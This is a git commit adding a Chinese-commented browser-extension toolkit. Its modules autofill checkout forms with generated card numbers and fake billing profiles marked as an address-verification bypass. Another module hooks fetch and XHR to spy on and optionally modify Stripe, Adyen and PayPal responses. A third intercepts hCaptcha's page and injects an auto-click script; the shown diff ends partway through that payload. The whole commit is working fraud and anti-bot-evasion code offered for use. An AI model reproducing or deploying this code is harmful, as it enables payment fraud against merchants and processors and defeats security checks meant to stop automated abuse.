完成扩展

This commit is contained in:
dela
2026-01-10 16:53:02 +08:00
parent 9eba656dbd
commit 97b162939e
31 changed files with 8436 additions and 0 deletions

View File

@@ -0,0 +1,480 @@
/**
* ============================================================================
* AutoFill Handler Module (Modularized Version)
* ============================================================================
* 功能:
* 1. 智能識別並填充支付表單 (信用卡、賬單地址)
* 2. 模擬真實用戶輸入事件 (繞過 React/Vue/Angular 的狀態檢查)
* 3. MutationObserver 實時監聽動態加載的表單
* 4. 內置多國賬單地址生成庫 (AVS 繞過)
* 5. 與其他模塊 (Card Generator) 聯動
*
* 使用方式:
* const autofill = new AutoFillHandlerModule(config);
* autofill.init();
* ============================================================================
*/
class AutoFillHandlerModule {
constructor(config = {}) {
this.config = {
enabled: true,
debug: false,
fillCardData: true,
fillBillingData: true,
fillDelay: 500, // 填充延遲 (毫秒),模擬人類思考
typeDelay: 10, // 字符間隔延遲 (可選,用於更高級模擬)
autoSubmit: false, // 是否填充後自動提交
targetCountry: 'US', // 默認賬單國家
// 字段選擇器映射 (支持 CSS 選擇器數組)
selectors: {
cardNumber: [
'input[name*="card"][name*="number"]',
'input[name="cardNumber"]',
'input[id*="cardNumber"]',
'.card-number input',
'input[autocomplete="cc-number"]',
'input[placeholder*="Card number"]'
],
expDate: [
'input[name*="exp"]',
'input[id*="exp"]',
'input[autocomplete="cc-exp"]',
'input[placeholder*="MM / YY"]'
],
cvc: [
'input[name*="cvc"]',
'input[name*="cvv"]',
'input[autocomplete="cc-csc"]',
'input[placeholder*="CVC"]'
],
holderName: [
'input[name*="name"]',
'input[autocomplete="cc-name"]',
'input[id*="holder"]',
'input[placeholder*="Cardholder"]'
],
address: ['input[name*="address"]', 'input[autocomplete="street-address"]', 'input[id*="address"]'],
city: ['input[name*="city"]', 'input[autocomplete="address-level2"]'],
state: ['input[name*="state"]', 'select[name*="state"]', 'input[autocomplete="address-level1"]'],
zip: ['input[name*="zip"]', 'input[name*="postal"]', 'input[autocomplete="postal-code"]'],
country: ['select[name*="country"]', 'select[id*="country"]', 'input[name*="country"]'],
phone: ['input[name*="phone"]', 'input[type="tel"]']
},
// 外部數據源 (如果提供,將覆蓋內部庫)
billingData: null,
...config
};
// 內部狀態
this.observer = null;
this.lastFilledTime = 0;
this.cachedCard = null;
// 內置地址庫 (簡化版,實際使用可擴展)
this.billingDB = {
'US': {
name: 'James Smith',
address: '450 West 33rd Street',
city: 'New York',
state: 'NY',
zip: '10001',
country: 'US',
phone: '2125550199'
},
'GB': {
name: 'Arthur Dent',
address: '42 Islington High St',
city: 'London',
state: '',
zip: 'N1 8EQ',
country: 'GB',
phone: '02079460123'
},
'CN': {
name: 'Zhang Wei',
address: 'No. 1 Fuxingmen Inner Street',
city: 'Beijing',
state: 'Beijing',
zip: '100031',
country: 'CN',
phone: '13910998888'
}
};
// 合併配置中的數據
if (this.config.billingData) {
Object.assign(this.billingDB, this.config.billingData);
}
// 綁定方法
this.handleMutations = this.handleMutations.bind(this);
}
/**
* 初始化模塊
*/
init() {
this.log('Initializing AutoFill Handler Module...');
// 1. 啟動 DOM 監聽
this.startObserver();
// 2. 監聽卡號生成事件 (來自 GOG/Stripe 模塊)
this.setupEventListeners();
// 3. 檢查頁面上已有的表單
if (document.readyState === 'complete' || document.readyState === 'interactive') {
this.scanAndFill(document.body);
} else {
document.addEventListener('DOMContentLoaded', () => this.scanAndFill(document.body));
}
// 4. 暴露全局 API
this.exposeGlobalAPI();
this.log('Module initialized. Waiting for forms...');
}
/**
* 銷毀模塊
*/
destroy() {
if (this.observer) {
this.observer.disconnect();
this.observer = null;
}
this.log('Module destroyed');
}
/**
* ========================================================================
* 事件監聽與聯動
* ========================================================================
*/
setupEventListeners() {
// 監聽 GOG/Stripe 模塊的卡號生成事件
const eventNames = ['GOG_CARD_GENERATED', 'STRIPE_CARD_GENERATED', 'CARD_GENERATED'];
eventNames.forEach(evt => {
document.addEventListener(evt, (e) => {
this.log(`Received card data from ${evt}`, e.detail);
if (e.detail && e.detail.card) {
this.setCardData(e.detail.card);
}
});
});
// 監聽 postMessage
window.addEventListener('message', (event) => {
if (event.data?.eventType === 'CARD_GENERATED') {
this.log('Received card data from postMessage', event.data.card);
this.setCardData(event.data.card);
}
});
}
setCardData(card) {
this.cachedCard = card;
// 收到新卡後立即重新掃描頁面
this.scanAndFill(document.body);
}
/**
* ========================================================================
* Mutation Observer (DOM 監聽)
* ========================================================================
*/
startObserver() {
if (this.observer) return;
this.observer = new MutationObserver(this.handleMutations);
this.observer.observe(document.body, {
childList: true,
subtree: true
});
this.log('DOM Observer started');
}
handleMutations(mutations) {
let shouldScan = false;
for (const mutation of mutations) {
if (mutation.addedNodes.length > 0) {
for (const node of mutation.addedNodes) {
if (node.nodeType === 1) { // 元素節點
// 簡單過濾:只關注包含 input/select/iframe 的節點
if (node.tagName === 'INPUT' ||
node.tagName === 'SELECT' ||
node.tagName === 'IFRAME' ||
node.querySelector('input, select, iframe')) {
shouldScan = true;
break;
}
}
}
}
if (shouldScan) break;
}
if (shouldScan) {
// 防抖動:不要頻繁掃描
if (this._scanTimeout) clearTimeout(this._scanTimeout);
this._scanTimeout = setTimeout(() => {
this.scanAndFill(document.body);
}, 200);
}
}
/**
* ========================================================================
* 核心填充邏輯
* ========================================================================
*/
async scanAndFill(container) {
if (!this.config.enabled) return;
// 獲取卡數據:優先使用緩存的 (剛生成的),其次嘗試從 Storage 讀取
let cardData = this.cachedCard;
if (!cardData) {
cardData = this.loadCardFromStorage();
}
if (!cardData && this.config.fillCardData) {
// 如果沒有卡數據,我們只能填充地址
this.log('No card data available yet. Skipping card fields.');
}
// 獲取賬單數據
const billingProfile = this.billingDB[this.config.targetCountry] || this.billingDB['US'];
this.log('Scanning container for fields...');
// 1. 填充信用卡字段
if (this.config.fillCardData && cardData) {
await this.fillField(container, this.config.selectors.cardNumber, cardData.number);
// 日期處理:有的表單是 MM / YY 分開,有的是合併
// 這裡簡單處理合併的情況,或者可以擴展檢測邏輯
const expVal = `${cardData.month} / ${cardData.year.slice(-2)}`;
await this.fillField(container, this.config.selectors.expDate, expVal);
await this.fillField(container, this.config.selectors.cvc, cardData.cvc);
}
// 2. 填充賬單字段
if (this.config.fillBillingData && billingProfile) {
await this.fillField(container, this.config.selectors.holderName, billingProfile.name);
await this.fillField(container, this.config.selectors.address, billingProfile.address);
await this.fillField(container, this.config.selectors.city, billingProfile.city);
await this.fillField(container, this.config.selectors.state, billingProfile.state);
await this.fillField(container, this.config.selectors.zip, billingProfile.zip);
await this.fillField(container, this.config.selectors.phone, billingProfile.phone);
// 國家字段比較特殊,通常是 Select
const countryEl = this.findElement(container, this.config.selectors.country);
if (countryEl) {
this.log('Found country field, attempting to set:', billingProfile.country);
this.simulateSelect(countryEl, billingProfile.country);
}
}
}
/**
* 查找並填充單個字段
*/
async fillField(container, selectors, value) {
if (!value) return;
const element = this.findElement(container, selectors);
if (element) {
// 檢查是否已經填充過,避免覆蓋用戶手動輸入
if (element.value && element.value === value) return;
if (element.getAttribute('data-autofilled') === 'true') return;
this.log(`Filling field [${element.name || element.id}] with value length: ${value.length}`);
// 延遲模擬
await this.sleep(this.config.fillDelay);
this.simulateInput(element, value);
element.setAttribute('data-autofilled', 'true');
// 高亮顯示 (可選,便於調試)
if (this.config.debug) {
element.style.backgroundColor = '#e8f0fe';
element.style.transition = 'background-color 0.5s';
}
}
}
/**
* 輔助函數:根據選擇器列表查找元素
*/
findElement(container, selectors) {
for (const selector of selectors) {
// 嘗試查找
const el = container.querySelector(selector);
// 確保元素可見且可編輯
if (el && !el.disabled && el.offsetParent !== null) {
return el;
}
}
return null;
}
/**
* ========================================================================
* 輸入模擬 (核心黑魔法)
* ========================================================================
*/
/**
* 模擬輸入事件序列
* 這是繞過 React/Angular 狀態綁定的關鍵
*/
simulateInput(element, value) {
if (!element) return;
// 1. 獲取並保存原始值屬性描述符
const nativeInputValueSetter = Object.getOwnPropertyDescriptor(window.HTMLInputElement.prototype, "value").set;
// 2. 聚焦
element.focus();
element.dispatchEvent(new Event('focus', { bubbles: true }));
// 3. 設置值 (使用原生 Setter 繞過框架代理)
nativeInputValueSetter.call(element, value);
// 4. 觸發一系列事件
const events = [
new KeyboardEvent('keydown', { bubbles: true }),
new KeyboardEvent('keypress', { bubbles: true }),
new InputEvent('input', { bubbles: true, inputType: 'insertText', data: value }),
new KeyboardEvent('keyup', { bubbles: true }),
new Event('change', { bubbles: true })
];
events.forEach(event => element.dispatchEvent(event));
// 5. 失焦
element.blur();
element.dispatchEvent(new Event('blur', { bubbles: true }));
}
/**
* 模擬下拉框選擇
*/
simulateSelect(element, value) {
if (!element) return;
// 嘗試匹配選項 (Value 或 Text)
let found = false;
for (let i = 0; i < element.options.length; i++) {
const option = element.options[i];
if (option.value === value || option.text.includes(value)) {
element.selectedIndex = i;
found = true;
break;
}
}
if (found) {
element.dispatchEvent(new Event('change', { bubbles: true }));
element.dispatchEvent(new Event('input', { bubbles: true }));
}
}
/**
* ========================================================================
* 工具方法
* ========================================================================
*/
loadCardFromStorage() {
try {
// 嘗試讀取 GOG 模塊的存儲
let json = localStorage.getItem('gogBypasserLastCardJSON');
if (json) return JSON.parse(json);
// 嘗試讀取通用存儲
json = localStorage.getItem('StripeBypasserLastCard');
if (json) return JSON.parse(json);
} catch (e) {
// ignore
}
return null;
}
sleep(ms) {
return new Promise(resolve => setTimeout(resolve, ms));
}
/**
* 全局 API
*/
exposeGlobalAPI() {
window.autofillHandler = {
module: this,
fill: () => this.scanAndFill(document.body),
setCard: (card) => this.setCardData(card),
updateConfig: (cfg) => { Object.assign(this.config, cfg); },
getBillingProfile: (country) => this.billingDB[country]
};
}
log(...args) {
if (this.config.debug) {
console.log('[AutoFill]', ...args);
}
}
}
/**
* ============================================================================
* 自動初始化
* ============================================================================
*/
window.AutoFillHandlerModule = AutoFillHandlerModule;
if (typeof AUTOFILL_AUTO_INIT !== 'undefined' && AUTOFILL_AUTO_INIT) {
const instance = new AutoFillHandlerModule({
debug: true
});
instance.init();
window.__autofill = instance;
}
// ============================================================================
// Extension Compatibility Wrapper
// ============================================================================
window.addEventListener('message', (event) => {
if (event.source !== window) return;
const message = event.data;
if (message && message.type === 'INIT_MODULE' && message.moduleName === 'autoFill') {
if (window.__autoFillInstance) return;
try {
const instance = new AutoFillHandlerModule(message.config);
instance.init();
window.__autoFillInstance = instance;
console.log('[Extension] AutoFill Handler initialized');
} catch (error) {
console.error('[Extension] AutoFill init failed:', error);
}
}
if (message && message.type === 'DESTROY_MODULE' && message.instanceKey === '__autoFillInstance') {
const instance = window.__autoFillInstance;
if (instance && typeof instance.destroy === 'function') {
instance.destroy();
delete window.__autoFillInstance;
}
}
});

File diff suppressed because it is too large Load Diff

View File

@@ -0,0 +1,719 @@
/**
* ============================================================================
* Fetch Interceptor Module - Network Traffic Spy
* ============================================================================
* 功能:
* 1. Hook window.fetch 和 XMLHttpRequest
* 2. 實時分析 Stripe/Adyen/PayPal 等支付網關的響應
* 3. 檢測支付狀態 (成功/失敗/3DS 挑戰)
* 4. 廣播事件供其他模塊訂閱
* 5. 支持請求/響應修改 (用於高級繞過)
*
* 作者: LO & ENI
* 使用方式:
* const spy = new FetchInterceptorModule(config);
* spy.init();
* ============================================================================
*/
class FetchInterceptorModule {
constructor(config = {}) {
this.config = {
enabled: true,
debug: false,
// 監控的網關列表
targetGateways: [
'stripe.com',
'adyen.com',
'paypal.com',
'checkout.com',
'gog.com',
'braintreegateway.com'
],
// 響應分析規則
analyzeRules: {
stripe: {
successIndicators: ['succeeded', 'paid'],
failureIndicators: ['error', 'declined'],
challengeIndicators: ['requires_action', 'requires_source_action']
},
adyen: {
successIndicators: ['Authorised'],
failureIndicators: ['Refused', 'Error'],
challengeIndicators: ['threeDS2', 'redirect']
}
},
// 請求修改 Hook (高級用途)
requestModifier: null, // function(url, options) => options
responseModifier: null, // function(url, response) => response
// 日誌保存
logRequests: true,
maxLogEntries: 100,
...config
};
// 內部狀態
this.originalFetch = null;
this.originalXHROpen = null;
this.originalXHRSend = null;
this.interceptedRequests = [];
this.listeners = new Map();
// 綁定方法
this.handleFetch = this.handleFetch.bind(this);
this.handleXHRLoad = this.handleXHRLoad.bind(this);
}
/**
* 初始化攔截器
*/
init() {
// 防止重複加載
if (window.__FETCH_INTERCEPTOR_LOADED__) {
this.warn('Interceptor already loaded. Skipping.');
return;
}
this.log('Initializing Network Interceptor...');
// 1. Hook Fetch API
this.hookFetch();
// 2. Hook XMLHttpRequest
this.hookXHR();
// 3. 設置消息監聽
this.setupMessageListener();
// 4. 暴露全局 API
this.exposeGlobalAPI();
// 5. 標記已加載
window.__FETCH_INTERCEPTOR_LOADED__ = true;
this.success('Network Interceptor Active. The Spy is Listening.');
}
/**
* 銷毀攔截器
*/
destroy() {
if (this.originalFetch) {
window.fetch = this.originalFetch;
}
if (this.originalXHROpen) {
XMLHttpRequest.prototype.open = this.originalXHROpen;
}
if (this.originalXHRSend) {
XMLHttpRequest.prototype.send = this.originalXHRSend;
}
window.__FETCH_INTERCEPTOR_LOADED__ = false;
this.log('Interceptor destroyed');
}
/**
* ========================================================================
* Fetch API Hook
* ========================================================================
*/
hookFetch() {
if (this.originalFetch) return;
this.originalFetch = window.fetch;
const self = this;
window.fetch = async function(...args) {
return await self.handleFetch(this, args, self.originalFetch);
};
this.log('Fetch API hooked');
}
async handleFetch(context, args, originalFetch) {
const [resource, config = {}] = args;
const url = this.extractUrl(resource);
const method = config.method || 'GET';
// 記錄請求
const requestId = this.logRequest('fetch', method, url, config.body);
try {
// 如果配置了請求修改器,應用它
let modifiedConfig = config;
if (this.config.requestModifier && this.isTargetUrl(url)) {
modifiedConfig = await this.config.requestModifier(url, config);
this.log('Request modified by custom hook');
}
// 執行原始請求
const response = await originalFetch.apply(context, [resource, modifiedConfig]);
// 克隆響應以供分析 (response.body 只能讀取一次)
const clonedResponse = response.clone();
// 異步分析響應
this.analyzeResponse(url, clonedResponse, requestId).catch(err => {
this.error('Response analysis failed:', err);
});
// 如果配置了響應修改器
if (this.config.responseModifier && this.isTargetUrl(url)) {
return await this.config.responseModifier(url, response);
}
return response;
} catch (error) {
this.error('Fetch error:', error);
this.updateRequestLog(requestId, { error: error.message });
throw error;
}
}
/**
* ========================================================================
* XMLHttpRequest Hook
* ========================================================================
*/
hookXHR() {
if (this.originalXHROpen) return;
const self = this;
const XHR = XMLHttpRequest.prototype;
this.originalXHROpen = XHR.open;
this.originalXHRSend = XHR.send;
// Hook open() 以捕獲 URL
XHR.open = function(method, url, ...rest) {
this.__interceptor_url = url;
this.__interceptor_method = method;
return self.originalXHROpen.apply(this, [method, url, ...rest]);
};
// Hook send() 以捕獲請求體和響應
XHR.send = function(body) {
const xhr = this;
const url = xhr.__interceptor_url;
const method = xhr.__interceptor_method;
// 記錄請求
const requestId = self.logRequest('xhr', method, url, body);
// 監聽加載完成
xhr.addEventListener('load', function() {
self.handleXHRLoad(xhr, url, requestId);
});
// 監聽錯誤
xhr.addEventListener('error', function() {
self.updateRequestLog(requestId, { error: 'XHR request failed' });
});
return self.originalXHRSend.apply(this, [body]);
};
this.log('XMLHttpRequest hooked');
}
handleXHRLoad(xhr, url, requestId) {
try {
const responseText = xhr.responseText;
const status = xhr.status;
// 更新日誌
this.updateRequestLog(requestId, {
status: status,
responseSize: responseText ? responseText.length : 0
});
// 分析響應
if (this.isTargetUrl(url)) {
this.analyzeResponseText(url, responseText, status);
}
} catch (error) {
this.error('XHR load handler error:', error);
}
}
/**
* ========================================================================
* 響應分析引擎
* ========================================================================
*/
async analyzeResponse(url, response, requestId) {
if (!this.isTargetUrl(url)) return;
try {
const contentType = response.headers.get('content-type');
if (contentType && contentType.includes('application/json')) {
const text = await response.text();
this.analyzeResponseText(url, text, response.status);
// 更新日誌
this.updateRequestLog(requestId, {
status: response.status,
analyzed: true
});
}
} catch (error) {
this.error('Response analysis error:', error);
}
}
analyzeResponseText(url, text, status) {
if (!text) return;
try {
const data = JSON.parse(text);
const urlLower = url.toLowerCase();
// Stripe 分析
if (urlLower.includes('stripe.com') || urlLower.includes('payment_intent') || urlLower.includes('charges')) {
this.analyzeStripeResponse(url, data, status);
}
// Adyen 分析
if (urlLower.includes('adyen.com') || urlLower.includes('checkout')) {
this.analyzeAdyenResponse(url, data, status);
}
// PayPal 分析
if (urlLower.includes('paypal.com')) {
this.analyzePayPalResponse(url, data, status);
}
// 通用分析 (基於關鍵字)
this.analyzeGenericResponse(url, data, status);
} catch (error) {
// 不是 JSON忽略
}
}
/**
* Stripe 專用分析器
*/
analyzeStripeResponse(url, data, status) {
this.log('Analyzing Stripe response...');
// 成功
if (data.status === 'succeeded' || data.paid === true || data.status === 'paid') {
this.success('💳 Stripe Payment SUCCEEDED');
this.broadcastEvent('PAYMENT_SUCCESS', {
gateway: 'stripe',
url: url,
details: {
id: data.id,
amount: data.amount,
currency: data.currency,
status: data.status
}
});
}
// 需要驗證 (3DS Challenge)
else if (data.status === 'requires_action' || data.status === 'requires_source_action') {
this.warn('🔐 Stripe 3D Secure Challenge Detected');
const redirectUrl = data.next_action?.redirect_to_url?.url ||
data.next_action?.use_stripe_sdk?.stripe_js;
this.broadcastEvent('3DS_CHALLENGE', {
gateway: 'stripe',
url: url,
redirectUrl: redirectUrl,
challengeType: data.next_action?.type
});
}
// 失敗
else if (data.error || data.status === 'failed') {
const errorCode = data.error?.code || data.error?.decline_code || 'unknown';
const errorMessage = data.error?.message || 'Payment failed';
this.warn(`❌ Stripe Payment FAILED: ${errorCode}`);
this.broadcastEvent('PAYMENT_FAILED', {
gateway: 'stripe',
url: url,
code: errorCode,
message: errorMessage,
declineCode: data.error?.decline_code
});
}
}
/**
* Adyen 專用分析器
*/
analyzeAdyenResponse(url, data, status) {
this.log('Analyzing Adyen response...');
// 成功
if (data.resultCode === 'Authorised') {
this.success('💳 Adyen Payment AUTHORISED');
this.broadcastEvent('PAYMENT_SUCCESS', {
gateway: 'adyen',
url: url,
details: data
});
}
// 3DS 挑戰
else if (data.action && (data.action.type === 'threeDS2' || data.action.type === 'redirect')) {
this.warn('🔐 Adyen 3DS Challenge Detected');
this.broadcastEvent('3DS_CHALLENGE', {
gateway: 'adyen',
url: url,
action: data.action
});
}
// 失敗
else if (data.resultCode === 'Refused' || data.resultCode === 'Error') {
this.warn(`❌ Adyen Payment REFUSED: ${data.refusalReason || 'unknown'}`);
this.broadcastEvent('PAYMENT_FAILED', {
gateway: 'adyen',
url: url,
code: data.refusalReason,
resultCode: data.resultCode
});
}
}
/**
* PayPal 專用分析器
*/
analyzePayPalResponse(url, data, status) {
if (data.status === 'COMPLETED' || data.state === 'approved') {
this.success('💳 PayPal Payment COMPLETED');
this.broadcastEvent('PAYMENT_SUCCESS', {
gateway: 'paypal',
url: url,
details: data
});
} else if (data.name === 'INSTRUMENT_DECLINED') {
this.warn('❌ PayPal Payment DECLINED');
this.broadcastEvent('PAYMENT_FAILED', {
gateway: 'paypal',
url: url,
code: data.name
});
}
}
/**
* 通用分析器 (關鍵字匹配)
*/
analyzeGenericResponse(url, data, status) {
const dataStr = JSON.stringify(data).toLowerCase();
// 成功關鍵字
const successKeywords = ['success', 'approved', 'authorized', 'completed', 'paid'];
if (successKeywords.some(kw => dataStr.includes(kw))) {
this.success('💳 Generic Payment Success Detected');
this.broadcastEvent('PAYMENT_SUCCESS', {
gateway: 'generic',
url: url
});
}
// 失敗關鍵字
const failureKeywords = ['declined', 'rejected', 'failed', 'refused', 'insufficient'];
if (failureKeywords.some(kw => dataStr.includes(kw))) {
this.warn('❌ Generic Payment Failure Detected');
this.broadcastEvent('PAYMENT_FAILED', {
gateway: 'generic',
url: url
});
}
}
/**
* ========================================================================
* 事件廣播系統
* ========================================================================
*/
broadcastEvent(eventType, payload) {
const message = {
type: `NETWORK_SPY_${eventType}`,
...payload,
timestamp: Date.now()
};
// postMessage 廣播
window.postMessage(message, '*');
// CustomEvent 廣播
const event = new CustomEvent('NETWORK_SPY_EVENT', {
detail: message
});
window.dispatchEvent(event);
// 調用內部監聽器
if (this.listeners.has(eventType)) {
this.listeners.get(eventType).forEach(callback => {
try {
callback(payload);
} catch (error) {
this.error('Listener callback error:', error);
}
});
}
this.log(`Event broadcasted: ${eventType}`);
}
/**
* 添加事件監聽器
*/
on(eventType, callback) {
if (!this.listeners.has(eventType)) {
this.listeners.set(eventType, []);
}
this.listeners.get(eventType).push(callback);
}
/**
* ========================================================================
* 請求日誌系統
* ========================================================================
*/
logRequest(type, method, url, body) {
if (!this.config.logRequests) return null;
const requestId = `${Date.now()}_${Math.random().toString(36).substr(2, 9)}`;
const entry = {
id: requestId,
type: type,
method: method,
url: url,
bodySize: body ? (typeof body === 'string' ? body.length : 'N/A') : 0,
timestamp: Date.now(),
status: null,
analyzed: false
};
this.interceptedRequests.push(entry);
// 限制日誌大小
if (this.interceptedRequests.length > this.config.maxLogEntries) {
this.interceptedRequests.shift();
}
return requestId;
}
updateRequestLog(requestId, updates) {
if (!requestId) return;
const entry = this.interceptedRequests.find(e => e.id === requestId);
if (entry) {
Object.assign(entry, updates);
}
}
/**
* 獲取請求日誌
*/
getRequestLog(filter = {}) {
let logs = [...this.interceptedRequests];
if (filter.gateway) {
logs = logs.filter(log => log.url.includes(filter.gateway));
}
if (filter.method) {
logs = logs.filter(log => log.method === filter.method);
}
if (filter.analyzed !== undefined) {
logs = logs.filter(log => log.analyzed === filter.analyzed);
}
return logs;
}
/**
* 清空日誌
*/
clearLog() {
this.interceptedRequests = [];
this.log('Request log cleared');
}
/**
* ========================================================================
* 工具方法
* ========================================================================
*/
extractUrl(resource) {
if (typeof resource === 'string') {
return resource;
} else if (resource instanceof Request) {
return resource.url;
} else if (resource instanceof URL) {
return resource.toString();
}
return '';
}
isTargetUrl(url) {
if (!url) return false;
const urlLower = url.toLowerCase();
return this.config.targetGateways.some(gateway =>
urlLower.includes(gateway.toLowerCase())
);
}
/**
* ========================================================================
* 消息監聽
* ========================================================================
*/
setupMessageListener() {
window.addEventListener('message', (event) => {
const data = event.data;
if (data?.type === 'INTERCEPTOR_UPDATE_CONFIG') {
this.updateConfig(data.config);
}
if (data?.type === 'INTERCEPTOR_GET_LOGS') {
window.postMessage({
type: 'INTERCEPTOR_LOGS_RESPONSE',
logs: this.interceptedRequests
}, '*');
}
if (data?.type === 'INTERCEPTOR_CLEAR_LOGS') {
this.clearLog();
}
});
}
/**
* 更新配置
*/
updateConfig(newConfig) {
Object.assign(this.config, newConfig);
this.log('Config updated:', this.config);
}
/**
* 獲取狀態
*/
getStatus() {
return {
enabled: this.config.enabled,
totalRequests: this.interceptedRequests.length,
targetGateways: this.config.targetGateways,
listeners: Array.from(this.listeners.keys())
};
}
/**
* ========================================================================
* 全局 API
* ========================================================================
*/
exposeGlobalAPI() {
window.networkSpy = {
module: this,
on: (event, callback) => this.on(event, callback),
getLogs: (filter) => this.getRequestLog(filter),
clearLogs: () => this.clearLog(),
getStatus: () => this.getStatus(),
updateConfig: (cfg) => this.updateConfig(cfg)
};
this.log('Global API exposed as window.networkSpy');
}
/**
* ========================================================================
* 日誌工具
* ========================================================================
*/
log(...args) {
if (this.config.debug) {
console.log('[NetworkSpy]', ...args);
}
}
success(msg) {
console.log(`%c[NetworkSpy SUCCESS] ${msg}`, 'color: green; font-weight: bold;');
}
warn(msg) {
console.log(`%c[NetworkSpy WARN] ${msg}`, 'color: orange; font-weight: bold;');
}
error(...args) {
console.error('[NetworkSpy ERROR]', ...args);
}
}
/**
* ============================================================================
* 全局暴露與自動初始化
* ============================================================================
*/
window.FetchInterceptorModule = FetchInterceptorModule;
// 自動初始化選項
if (typeof INTERCEPTOR_AUTO_INIT !== 'undefined' && INTERCEPTOR_AUTO_INIT) {
const instance = new FetchInterceptorModule({
enabled: true,
debug: true
});
instance.init();
window.__networkSpy = instance;
}
// ============================================================================
// Extension Compatibility Wrapper
// ============================================================================
window.addEventListener('message', (event) => {
if (event.source !== window) return;
const message = event.data;
if (message && message.type === 'INIT_MODULE' && message.moduleName === 'fetchSpy') {
if (window.__fetchSpyInstance) return;
try {
const instance = new FetchInterceptorModule(message.config);
instance.init();
window.__fetchSpyInstance = instance;
console.log('[Extension] Fetch Spy initialized');
} catch (error) {
console.error('[Extension] Fetch Spy init failed:', error);
}
}
if (message && message.type === 'DESTROY_MODULE' && message.instanceKey === '__fetchSpyInstance') {
const instance = window.__fetchSpyInstance;
if (instance && typeof instance.destroy === 'function') {
instance.destroy();
delete window.__fetchSpyInstance;
}
}
});

File diff suppressed because it is too large Load Diff

View File

@@ -0,0 +1,456 @@
/**
* ============================================================================
* HCaptcha Bypass Module (Modularized Version)
* ============================================================================
* 功能:
* 1. 攔截 hCaptcha 的網絡請求 (Fetch & XHR)
* 2. 向 hCaptcha HTML 注入自動點擊腳本
* 3. 模擬用戶行為繞過檢測
* 4. 支援配置熱更新
*
* 使用方式:
* const bypass = new HCaptchaBypassModule(config);
* bypass.init();
* ============================================================================
*/
class HCaptchaBypassModule {
constructor(config = {}) {
// 默認配置
this.config = {
enabled: true, // 是否啟用繞過
autoClick: true, // 是否自動點擊
clickDelay: 400, // 點擊檢測間隔 (ms)
maxAttempts: 200, // 最大嘗試次數
debug: false, // 調試模式
settingsKey: '__HCAPTCHA_BYPASS_SETTINGS__', // 全局配置鍵名
...config
};
// 運行時狀態
this.isInterceptorLoaded = false;
this.isInjectorActive = false;
this.activeIntervals = [];
// 綁定方法上下文
this.checkSettings = this.checkSettings.bind(this);
}
/**
* 初始化模塊
*/
init() {
this.log('Initializing HCaptcha Bypass Module...');
// 1. 將配置暴露到全局 (供 iframe 內部讀取)
this.exposeSettings();
// 2. 啟動攔截器 (劫持網絡請求)
this.setupInterceptors();
// 3. 啟動配置熱更新
this.startSettingsWatcher();
// 4. 監聽跨域消息
this.setupMessageListener();
this.log('Module initialized successfully');
}
/**
* 銷毀模塊
*/
destroy() {
this.activeIntervals.forEach(id => clearInterval(id));
this.activeIntervals = [];
this.log('Module destroyed');
}
/**
* 暴露配置到全局
*/
exposeSettings() {
window[this.config.settingsKey] = {
autoCaptcha: this.config.autoClick,
enabled: this.config.enabled,
captchaService: 'hCaptcha'
};
// 同時嘗試暴露到父窗口
try {
if (window.parent && window.parent !== window) {
window.parent[this.config.settingsKey] = window[this.config.settingsKey];
}
} catch (e) {
// 跨域錯誤忽略
}
}
/**
* 配置熱更新監聽
*/
startSettingsWatcher() {
const intervalId = setInterval(this.checkSettings, 1000);
this.activeIntervals.push(intervalId);
}
checkSettings() {
try {
const settings = window[this.config.settingsKey];
if (settings) {
this.config.enabled = settings.enabled ?? this.config.enabled;
this.config.autoClick = settings.autoCaptcha ?? this.config.autoClick;
}
} catch (e) {
// Ignore
}
}
/**
* 跨域消息監聽
*/
setupMessageListener() {
window.addEventListener('message', (event) => {
if (event.data?.type === 'HCAPTCHA_BYPASS_UPDATE_SETTINGS') {
Object.assign(this.config, event.data.settings);
this.exposeSettings();
this.log('Settings updated via postMessage:', event.data.settings);
}
if (event.data?.msg === 'hCaptcha Injector Loaded') {
this.log('Injector script successfully loaded in iframe');
}
});
}
/**
* ========================================================================
* 攔截器部分:劫持網絡請求並注入腳本
* ========================================================================
*/
setupInterceptors() {
if (this.isInterceptorLoaded) {
this.log('Interceptor already loaded, skipping...');
return;
}
this.isInterceptorLoaded = true;
// 目標 URL 匹配
this.targetUrlPattern = /newassets\.hcaptcha\.com\/captcha\/v1\/[^/]+\/static\/hcaptcha\.html/;
// 需要替換的代碼模式
this.replacementPatterns = [
/this\.\$radio\.setAttribute\("aria-checked",\s*!1\)/g,
/this\.\$radio\.setAttribute\("aria-checked",\s*false\)/g,
/this\.\$radio\.setAttribute\("aria-checked",\s*0\)/g,
/setAttribute\("aria-checked",!1\)/g
];
// 注入的 Payload (自動點擊腳本)
this.injectedPayload = this.generateInjectorScript();
// Hook Fetch & XHR
this.hookFetch();
this.hookXHR();
this.log('Network interceptors installed');
}
/**
* 生成注入腳本
*/
generateInjectorScript() {
const config = this.config;
// 這裡用模板字符串生成完整的注入代碼
// 將之前的 injector 邏輯封裝成字符串
return `
(function() {
'use strict';
// ===== 配置讀取 =====
let isAutoClickEnabled = false;
let settingsKey = '${config.settingsKey}';
function initSettings() {
try {
if (window.parent && window.parent[settingsKey]) {
isAutoClickEnabled = window.parent[settingsKey].autoCaptcha || false;
} else if (window.top && window.top[settingsKey]) {
isAutoClickEnabled = window.top[settingsKey].autoCaptcha || false;
}
window.addEventListener('message', (event) => {
if (event.data?.type === 'HCAPTCHA_BYPASS_UPDATE_SETTINGS') {
isAutoClickEnabled = event.data.settings?.autoClick || false;
}
});
} catch (err) {
isAutoClickEnabled = true; // 跨域限制時默認啟用
}
}
initSettings();
// ===== 核心點擊邏輯 =====
const CHECKBOX_SELECTOR = '#checkbox';
let attemptCount = 0;
let isSolved = false;
let clickInterval = null;
function attemptClick() {
if (attemptCount >= ${config.maxAttempts} || isSolved) {
if (clickInterval) clearInterval(clickInterval);
return;
}
const checkbox = document.querySelector(CHECKBOX_SELECTOR);
if (!checkbox) {
attemptCount++;
return;
}
const isChecked = checkbox.getAttribute('aria-checked');
const isVisible = checkbox.offsetParent !== null;
if (isVisible && isChecked === 'false' && isAutoClickEnabled) {
try {
checkbox.click();
console.log('[HCaptcha Bypass] Checkbox clicked');
setTimeout(() => {
const newState = checkbox.getAttribute('aria-checked');
if (newState === 'true') {
isSolved = true;
if (clickInterval) clearInterval(clickInterval);
// 通知父窗口
window.parent.postMessage({
type: 'HCAPTCHA_BYPASS_SOLVED',
msg: 'hCaptcha solved successfully'
}, '*');
}
}, 1000);
} catch (e) {
console.error('[HCaptcha Bypass] Click failed:', e);
}
}
attemptCount++;
}
